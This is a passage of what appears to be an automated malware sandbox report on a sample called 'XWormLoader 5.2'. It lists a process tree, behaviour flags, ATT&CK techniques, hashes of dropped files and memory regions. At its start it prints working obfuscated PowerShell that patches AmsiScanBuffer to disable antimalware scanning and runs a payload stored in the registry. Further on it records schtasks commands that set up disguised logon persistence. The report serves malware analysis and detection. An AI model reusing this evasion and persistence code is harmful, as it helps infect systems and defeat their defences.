');$bLpawPucSezYJCSSI=$igKlxdWSgQjiSu.Invoke($Null,@([Object]$BSwitSz,[Object](''+'A'+''+[Char](109)+'siSc'+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$whOefGtDTQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($APlxsjdhGyvfAmovr,$EwWqUOKINAEcWwSeVRgfKU).Invoke($bLpawPucSezYJCSSI,[uint32]8,4,[ref]$whOefGtDTQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$bLpawPucSezYJCSSI,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($APlxsjdhGyvfAmovr,$EwWqUOKINAEcWwSeVRgfKU).Invoke($bLpawPucSezYJCSSI,[uint32]8,0x20,[ref]$whOefGtDTQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+'W'+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zLKekkAcQBKz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$adVrVglFxMCVww,[Parameter(Position=1)][Type]$CtHTcHsiCi)$mKEKnOLTYId=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'f'+'l'+''+[Char](101)+'ct'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'leg'+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+'y'+'Mo'+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType(''+'M'+'y'+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+'p'+[Char](101)+'','Cl'+[Char](97)+'ss'+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+'ea'+'l'+''+'e'+''+[Char](100)+','+[Char](65)+''+'n'+''+'s'+''+[Char](105)+'C'+'l'+''+'a'+''+'s'+''+[Char](115)+''+','+''+[Char](65)+''+'u'+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$mKEKnOLTYId.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+'m'+''+[Char](101)+','+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+'i'+'g'+''+[Char](44)+'Pu'+[Char](98)+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$adVrVglFxMCVww).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'an'+'a'+''+'g'+''+[Char](101)+''+'d'+'');$mKEKnOLTYId.DefineMethod('I'+[Char](110)+'v'+[Char](111)+''+'k'+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](72)+'id'+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+'S'+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+'V'+'i'+'r'+''+'t'+''+[Char](117)+''+'a'+'l',$CtHTcHsiCi,$adVrVglFxMCVww).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $mKEKnOLTYId.CreateType();}$fynOAwzELRnoL=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+'r'+'o'+[Char](115)+'o'+[Char](102)+''+[Char](116)+'.'+[Char](87)+'in'+[Char](51)+''+'2'+''+[Char](46)+'U'+'n'+'s'+'a'+''+'f'+'e'+'N'+''+[Char](97)+'t'+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+'o'+'ds');$VxwzBYUPewFweM=$fynOAwzELRnoL.GetMethod('Ge'+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+'A'+''+'d'+''+'d'+''+'r'+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+'t'+[Char](97)+'t'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RyLKsmYFYSXDFayTtes=zLKekkAcQBKz @([String])([IntPtr]);$tMopxRaipjETbivjIIuyRH=zLKekkAcQBKz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OdojkyFPqPj=$fynOAwzELRnoL.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+''+'o'+'d'+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('ker'+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+'.'+'d'+'l'+'l'+'')));$vmvYdigRORuqkT=$VxwzBYUPewFweM.Invoke($Null,@([Object]$OdojkyFPqPj,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+'A')));$cKyJXOTKjnyXeoWQI=$VxwzBYUPewFweM.Invoke($Null,@([Object]$OdojkyFPqPj,[Object]('V'+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+'t'+'')));$wIyPKrh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vmvYdigRORuqkT,$RyLKsmYFYSXDFayTtes).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+''+[Char](108)+''+'l'+'');$YwxJjCNbuZgkOdBmU=$VxwzBYUPewFweM.Invoke($Null,@([Object]$wIyPKrh,[Object]('A'+[Char](109)+''+[Char](115)+'iS'+[Char](99)+'an'+[Char](66)+''+[Char](117)+'ffe'+[Char](114)+'')));$PBVqkxGJUr=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cKyJXOTKjnyXeoWQI,$tMopxRaipjETbivjIIuyRH).Invoke($YwxJjCNbuZgkOdBmU,[uint32]8,4,[ref]$PBVqkxGJUr);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YwxJjCNbuZgkOdBmU,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cKyJXOTKjnyXeoWQI,$tMopxRaipjETbivjIIuyRH).Invoke($YwxJjCNbuZgkOdBmU,[uint32]8,0x20,[ref]$PBVqkxGJUr);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+''+[Char](84)+'W'+'A'+''+'R'+''+[Char](69)+'').GetValue(''+'$'+'7'+[Char](55)+''+[Char](115)+''+[Char](116)+''+'a'+''+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1456

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:5088

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1184

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1216

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1236

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1252

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1396

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1428

c:\windows\system32\sihost.exe
sihost.exe
2⤵
PID:2580

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1472

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1540

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1580

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1680

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1772

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1848

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1856

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1940

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1992

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2144

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2236

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2472

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2492

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2588

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2660

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2700

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2732

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2744

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2772

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2788

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3024

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:2960

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3396

C:\Users\Admin\AppData\Local\Temp\XWormLoader 5.2 x64.exe
"C:\Users\Admin\AppData\Local\Temp\XWormLoader 5.2 x64.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:2452

C:\Users\Admin\AppData\Local\Temp\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\svchost.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4644

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\svchost.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:4668

C:\Users\Admin\AppData\Roaming\Discord\Discord.exe
"C:\Users\Admin\AppData\Roaming\Discord\Discord.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1224

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Discord\Discord.exe" /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:1688

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /delete /tn "Discord" /f
5⤵
PID:4600

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:3148

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\0jSt7BAPWqCT.bat" "
5⤵
PID:4188

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:1828

C:\Windows\SysWOW64\chcp.com
chcp 65001
6⤵
PID:4708

C:\Windows\SysWOW64\PING.EXE
ping -n 10 localhost
6⤵
- Runs ping.exe
PID:3088

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
5⤵
- Executes dropped EXE
PID:4316

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Discord.exe" /tr "'C:\Users\Admin\AppData\Roaming\Discord\Discord.exe'" /sc onlogon /rl HIGHEST
5⤵
- Creates scheduled task(s)
PID:4320

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:4636

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
4⤵
- Executes dropped EXE
PID:2120

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77svchost.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\svchost.exe'" /sc onlogon /rl HIGHEST
4⤵
- Creates scheduled task(s)
PID:4928

C:\Users\Admin\AppData\Local\Temp\XWormLoader 5.2 x32.exe
"C:\Users\Admin\AppData\Local\Temp\XWormLoader 5.2 x32.exe"
3⤵
- Executes dropped EXE
PID:4908

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:2464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 844
4⤵
- Program crash
PID:4224

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3976

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1520

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:3712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:1832

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:876

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:2684

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2896

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:5008

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:4988

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:4864

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\0jSt7BAPWqCT.bat
Filesize
264B

MD5
7e4ac358e29bcd3664557eeb094b754f

SHA1
8a6cd618a423564073722d4e8dac82eadb94e3a9

SHA256
e24fad0f0c507480565e6a74a5c3f346c1b6e797a05f2e50f2fcc372ea6184bc

SHA512
47cb73573924ff5282104ad7eff1cc3ed43182e242b73eef7a5d43f4c77221819ddd30f7984505780f3fda953db95f6eaf9eb7013969f66e63eaaea43e95190e

Download Submit
C:\Users\Admin\AppData\Local\Temp\XWormLoader 5.2 x32.exe
Filesize
109KB

MD5
f3b2ec58b71ba6793adcc2729e2140b1

SHA1
d9e93a33ac617afe326421df4f05882a61e0a4f2

SHA256
2d74eb709aea89a181cf8dfcc7e551978889f0d875401a2f1140487407bf18ae

SHA512
473edcaba9cb8044e28e30fc502a08a648359b3ed0deba85e559fe76b484fc8db0fc2375f746851623e30be33da035cec1d6038e1fcf4842a2afb6f9cd397495

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchost.exe
Filesize
409KB

MD5
61e7a9eaef04c1617ffff35c0287d234

SHA1
5a6ffedd75ac4e07594ccb6974ee8684d5128a35

SHA256
b2b4be7ae20431c88115d561a6886f22ab3416595338e7e2eb361f0bb428b987

SHA512
8ee9fd8d8631dd611ff539fc35ad4c26f7bfb4b8a26de12e03f48f3b87a7f18198c37ec187a1e8393aafb88e468e74c734cafcaf72f73b0afc55822762d767e6

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_qee5nvqs.kb1.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize
3KB

MD5
56efdb5a0f10b5eece165de4f8c9d799

SHA1
fa5de7ca343b018c3bfeab692545eb544c244e16

SHA256
6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

SHA512
91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d61d7f65117823a52913b840feed43c6

SHA1
e2580207e1611dcb229ee9d2b4bb0bd4dbcc884f

SHA256
d0d50cb4ab1fe4b5dcb9c081d49b33381336fc0ebc7629702ed94d47f7032a86

SHA512
e4cf12f3642ce8746f39bcfaa6265d105919d1cbe863119f4413aa4c5d307d7d69f0638bd0434d47f651e183ec209f02dd7d44954c790ef4d585155817ed8a3c

Download Submit
memory/584-87-0x00007FF9B4FC0000-0x00007FF9B4FD0000-memory.dmp

Filesize
64KB

Download
memory/584-86-0x000001BA9DC30000-0x000001BA9DC5B000-memory.dmp

Filesize
172KB

Download
memory/584-81-0x000001BA9DC30000-0x000001BA9DC5B000-memory.dmp

Filesize
172KB

Download
memory/584-79-0x000001BA9DC30000-0x000001BA9DC5B000-memory.dmp

Filesize
172KB

Download
memory/584-78-0x000001BA9DC00000-0x000001BA9DC25000-memory.dmp

Filesize
148KB

Download
memory/640-98-0x00007FF9B4FC0000-0x00007FF9B4FD0000-memory.dmp

Filesize
64KB

Download
memory/640-91-0x000002952BB00000-0x000002952BB2B000-memory.dmp

Filesize
172KB

Download
memory/640-97-0x000002952BB00000-0x000002952BB2B000-memory.dmp

Filesize
172KB

Download
memory/740-109-0x00007FF9B4FC0000-0x00007FF9B4FD0000-memory.dmp

Filesize
64KB

Download
memory/740-102-0x00000226AC250000-0x00000226AC27B000-memory.dmp

Filesize
172KB

Download
memory/740-108-0x00000226AC250000-0x00000226AC27B000-memory.dmp

Filesize
172KB

Download
memory/904-113-0x000001ED4B010000-0x000001ED4B03B000-memory.dmp

Filesize
172KB

Download
memory/904-120-0x00007FF9B4FC0000-0x00007FF9B4FD0000-memory.dmp

Filesize
64KB

Download
memory/904-119-0x000001ED4B010000-0x000001ED4B03B000-memory.dmp

Filesize
172KB

Download
memory/992-124-0x0000017BDDC80000-0x0000017BDDCAB000-memory.dmp

Filesize
172KB

Download
memory/1224-57-0x0000000006490000-0x000000000649A000-memory.dmp

Filesize
40KB

Download
memory/2452-13-0x00007FF9D8440000-0x00007FF9D8E2C000-memory.dmp

Filesize
9.9MB

Download
memory/2452-10-0x00007FF9D8440000-0x00007FF9D8E2C000-memory.dmp

Filesize
9.9MB

Download
memory/2452-1-0x0000000000550000-0x00000000005A8000-memory.dmp

Filesize
352KB

Download
memory/2452-0-0x00007FF9D8443000-0x00007FF9D8444000-memory.dmp

Filesize
4KB

Download
memory/4472-66-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4472-75-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4472-72-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4472-74-0x00007FF9F4AE0000-0x00007FF9F4B8E000-memory.dmp

Filesize
696KB

Download
memory/4472-73-0x00007FF9F4F30000-0x00007FF9F510B000-memory.dmp

Filesize
1.9MB

Download
memory/4472-65-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4472-67-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4472-64-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4644-19-0x0000000005E00000-0x00000000062FE000-memory.dmp

Filesize
5.0MB

Download
memory/4644-21-0x00000000734B0000-0x0000000073B9E000-memory.dmp

Filesize
6.9MB

Download
memory/4644-14-0x00000000734BE000-0x00000000734BF000-memory.dmp

Filesize
4KB

Download
memory/4644-17-0x00000000008F0000-0x000000000095C000-memory.dmp

Filesize
432KB

Download
memory/4644-20-0x0000000005730000-0x00000000057C2000-memory.dmp

Filesize
584KB

Download
memory/4644-35-0x00000000734B0000-0x0000000073B9E000-memory.dmp

Filesize
6.9MB

Download
memory/4644-24-0x0000000006970000-0x00000000069AE000-memory.dmp

Filesize
248KB

Download
memory/4644-23-0x00000000056F0000-0x0000000005702000-memory.dmp

Filesize
72KB

Download
memory/4644-22-0x0000000005640000-0x00000000056A6000-memory.dmp

Filesize
408KB

Download
memory/4708-61-0x0000029A68C60000-0x0000029A68C8A000-memory.dmp

Filesize
168KB

Download
memory/4708-40-0x0000029A68BD0000-0x0000029A68BF2000-memory.dmp

Filesize
136KB

Download
memory/4708-63-0x00007FF9F4AE0000-0x00007FF9F4B8E000-memory.dmp

Filesize
696KB

Download
memory/4708-43-0x0000029A68DA0000-0x0000029A68E16000-memory.dmp

Filesize
472KB

Download
memory/4708-62-0x00007FF9F4F30000-0x00007FF9F510B000-memory.dmp

Filesize
1.9MB

Download
memory/4908-18-0x00000000734B0000-0x0000000073B9E000-memory.dmp

Filesize
6.9MB

Download
memory/4908-750-0x00000000734B0000-0x0000000073B9E000-memory.dmp

Filesize
6.9MB

Download
memory/4908-16-0x00000000010C0000-0x00000000010E0000-memory.dmp

Filesize
128KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads